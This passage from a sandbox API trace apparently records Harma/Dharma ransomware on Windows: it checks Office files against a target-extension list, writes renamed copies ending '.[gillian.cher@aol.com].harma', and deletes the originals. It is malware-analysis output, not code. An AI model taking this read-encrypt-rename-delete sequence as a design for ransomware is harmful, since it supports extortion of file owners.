Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0164.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0164.327] lstrlenW (lpString=".doc") returned 4 [0164.327] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0164.327] lstrlenW (lpString=".docx") returned 5 [0164.327] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0164.327] lstrlenW (lpString=".pdf") returned 4 [0164.327] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0164.327] lstrlenW (lpString=".xls") returned 4 [0164.327] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0164.327] lstrlenW (lpString=".xlsx") returned 5 [0164.327] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0164.327] lstrlenW (lpString=".ppt") returned 4 [0164.327] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0164.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0164.327] lstrlenW (lpString=".zip") returned 4 [0164.327] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0164.327] lstrlenW (lpString=".rar") returned 4 [0164.327] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0164.327] lstrlenW (lpString=".bz2") returned 4 [0164.327] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0164.327] lstrlenW (lpString=".7z") returned 3 [0164.327] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0164.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0164.328] lstrlenW (lpString=".dbf") returned 4 [0164.328] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0164.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0164.328] lstrlenW (lpString=".1cd") returned 4 [0164.328] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0164.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0164.328] lstrlenW (lpString=".jpg") returned 4 [0164.328] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0164.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0164.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0164.328] lstrlenW (lpString=".doc") returned 4 [0164.328] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0164.328] lstrlenW (lpString=".docx") returned 5 [0164.328] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0164.328] lstrlenW (lpString=".pdf") returned 4 [0164.328] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0164.328] lstrlenW (lpString=".xls") returned 4 [0164.328] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0164.328] lstrlenW (lpString=".xlsx") returned 5 [0164.329] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0164.329] lstrlenW (lpString=".ppt") returned 4 [0164.329] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0164.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0164.329] lstrlenW (lpString=".zip") returned 4 [0164.329] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0164.329] lstrlenW (lpString=".rar") returned 4 [0164.329] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0164.329] lstrlenW (lpString=".bz2") returned 4 [0164.329] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0164.329] lstrlenW (lpString=".7z") returned 3 [0164.329] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0164.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0164.329] lstrlenW (lpString=".dbf") returned 4 [0164.329] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0164.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0164.329] lstrlenW (lpString=".1cd") returned 4 [0164.329] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0164.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0164.329] lstrlenW (lpString=".jpg") returned 4 [0164.329] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0164.329] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0164.330] lstrlenW (lpString="VISIO_F_COL.HXK") returned 15 [0164.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0164.330] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=114) returned 1 [0164.330] CloseHandle (hObject=0x330) returned 1 [0164.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk")) returned 0x20 [0164.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0164.564] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.564] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0164.723] GetLastError () returned 0x0 [0164.723] ReadFile (in: hFile=0x330, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x72, lpOverlapped=0x0) returned 1 [0164.724] WriteFile (in: hFile=0x21c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x80, lpOverlapped=0x0) returned 1 [0164.725] ReadFile (in: hFile=0x330, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0164.725] WriteFile (in: hFile=0x21c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0164.725] SetEndOfFile (hFile=0x21c) returned 1 [0164.725] CloseHandle (hObject=0x21c) returned 1 [0164.725] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.725] SetEndOfFile (hFile=0x330) returned 1 [0164.728] CloseHandle (hObject=0x330) returned 1 [0164.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.768] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk")) returned 1 [0164.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0164.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0164.769] lstrlenW (lpString=".doc") returned 4 [0164.769] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0164.769] lstrlenW (lpString=".docx") returned 5 [0164.769] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0164.769] lstrlenW (lpString=".pdf") returned 4 [0164.769] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0164.769] lstrlenW (lpString=".xls") returned 4 [0164.769] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0164.769] lstrlenW (lpString=".xlsx") returned 5 [0164.769] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0164.769] lstrlenW (lpString=".ppt") returned 4 [0164.769] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0164.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0164.769] lstrlenW (lpString=".zip") returned 4 [0164.769] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0164.769] lstrlenW (lpString=".rar") returned 4 [0164.769] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0164.769] lstrlenW (lpString=".bz2") returned 4 [0164.769] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0164.769] lstrlenW (lpString=".7z") returned 3 [0164.769] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0164.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0164.769] lstrlenW (lpString=".dbf") returned 4 [0164.769] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0164.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0164.769] lstrlenW (lpString=".1cd") returned 4 [0164.770] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0164.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0164.770] lstrlenW (lpString=".jpg") returned 4 [0164.770] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0164.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0164.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0164.770] lstrlenW (lpString=".doc") returned 4 [0164.770] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0164.770] lstrlenW (lpString=".docx") returned 5 [0164.770] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0164.770] lstrlenW (lpString=".pdf") returned 4 [0164.770] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0164.770] lstrlenW (lpString=".xls") returned 4 [0164.770] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0164.770] lstrlenW (lpString=".xlsx") returned 5 [0164.770] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0164.771] lstrlenW (lpString=".ppt") returned 4 [0164.771] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0164.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0164.771] lstrlenW (lpString=".zip") returned 4 [0164.771] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0164.771] lstrlenW (lpString=".rar") returned 4 [0164.771] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0164.771] lstrlenW (lpString=".bz2") returned 4 [0164.771] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0164.771] lstrlenW (lpString=".7z") returned 3 [0164.771] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0164.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0164.771] lstrlenW (lpString=".dbf") returned 4 [0164.771] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0164.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0164.771] lstrlenW (lpString=".1cd") returned 4 [0164.771] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0164.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0164.771] lstrlenW (lpString=".jpg") returned 4 [0164.771] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0164.771] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0164.771] lstrlenW (lpString="VISIO_STD_COL.HXT") returned 17 [0164.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0164.772] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=209) returned 1 [0164.772] CloseHandle (hObject=0x3a0) returned 1 [0164.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt")) returned 0x20 [0164.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0164.773] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.773] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0164.774] GetLastError () returned 0x0 [0164.774] ReadFile (in: hFile=0x3a0, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0xd1, lpOverlapped=0x0) returned 1 [0164.775] WriteFile (in: hFile=0x374, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0164.776] ReadFile (in: hFile=0x3a0, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0164.776] WriteFile (in: hFile=0x374, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0164.776] SetEndOfFile (hFile=0x374) returned 1 [0164.777] CloseHandle (hObject=0x374) returned 1 [0164.777] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.777] SetEndOfFile (hFile=0x3a0) returned 1 [0164.779] CloseHandle (hObject=0x3a0) returned 1 [0164.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.779] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt")) returned 1 [0164.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0164.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0164.780] lstrlenW (lpString=".doc") returned 4 [0164.780] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0164.780] lstrlenW (lpString=".docx") returned 5 [0164.780] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0164.780] lstrlenW (lpString=".pdf") returned 4 [0164.780] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0164.780] lstrlenW (lpString=".xls") returned 4 [0164.780] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0164.780] lstrlenW (lpString=".xlsx") returned 5 [0164.781] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0164.781] lstrlenW (lpString=".ppt") returned 4 [0164.781] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0164.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0164.781] lstrlenW (lpString=".zip") returned 4 [0164.781] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0164.781] lstrlenW (lpString=".rar") returned 4 [0164.781] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0164.781] lstrlenW (lpString=".bz2") returned 4 [0164.781] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0164.781] lstrlenW (lpString=".7z") returned 3 [0164.781] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0164.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0164.781] lstrlenW (lpString=".dbf") returned 4 [0164.781] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0164.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0164.781] lstrlenW (lpString=".1cd") returned 4 [0164.781] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0164.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0164.781] lstrlenW (lpString=".jpg") returned 4 [0164.781] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0164.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0164.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0164.781] lstrlenW (lpString=".doc") returned 4 [0164.781] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0164.781] lstrlenW (lpString=".docx") returned 5 [0164.781] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0164.781] lstrlenW (lpString=".pdf") returned 4 [0164.781] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0164.781] lstrlenW (lpString=".xls") returned 4 [0164.781] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0164.781] lstrlenW (lpString=".xlsx") returned 5 [0164.782] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0164.782] lstrlenW (lpString=".ppt") returned 4 [0164.782] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0164.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0164.782] lstrlenW (lpString=".zip") returned 4 [0164.782] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0164.782] lstrlenW (lpString=".rar") returned 4 [0164.782] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0164.782] lstrlenW (lpString=".bz2") returned 4 [0164.782] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0164.782] lstrlenW (lpString=".7z") returned 3 [0164.782] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0164.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0164.782] lstrlenW (lpString=".dbf") returned 4 [0164.782] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0164.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0164.782] lstrlenW (lpString=".1cd") returned 4 [0164.782] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0164.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0164.782] lstrlenW (lpString=".jpg") returned 4 [0164.782] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0164.782] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0164.782] lstrlenW (lpString="VISIO_STD_F_COL.HXK") returned 19 [0164.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0164.783] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=114) returned 1 [0164.783] CloseHandle (hObject=0x3a0) returned 1 [0164.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk")) returned 0x20 [0164.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0164.783] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.784] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0164.784] GetLastError () returned 0x0 [0164.784] ReadFile (in: hFile=0x3a0, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x72, lpOverlapped=0x0) returned 1 [0164.785] WriteFile (in: hFile=0x374, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x80, lpOverlapped=0x0) returned 1 [0164.786] ReadFile (in: hFile=0x3a0, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0164.787] WriteFile (in: hFile=0x374, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0164.787] SetEndOfFile (hFile=0x374) returned 1 [0164.787] CloseHandle (hObject=0x374) returned 1 [0164.787] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.787] SetEndOfFile (hFile=0x3a0) returned 1 [0164.792] CloseHandle (hObject=0x3a0) returned 1 [0164.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk")) returned 1 [0164.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0164.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0164.793] lstrlenW (lpString=".doc") returned 4 [0164.793] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0164.793] lstrlenW (lpString=".docx") returned 5 [0164.793] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0164.793] lstrlenW (lpString=".pdf") returned 4 [0164.793] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0164.793] lstrlenW (lpString=".xls") returned 4 [0164.793] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0164.793] lstrlenW (lpString=".xlsx") returned 5 [0164.793] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0164.793] lstrlenW (lpString=".ppt") returned 4 [0164.793] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0164.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0164.793] lstrlenW (lpString=".zip") returned 4 [0164.793] 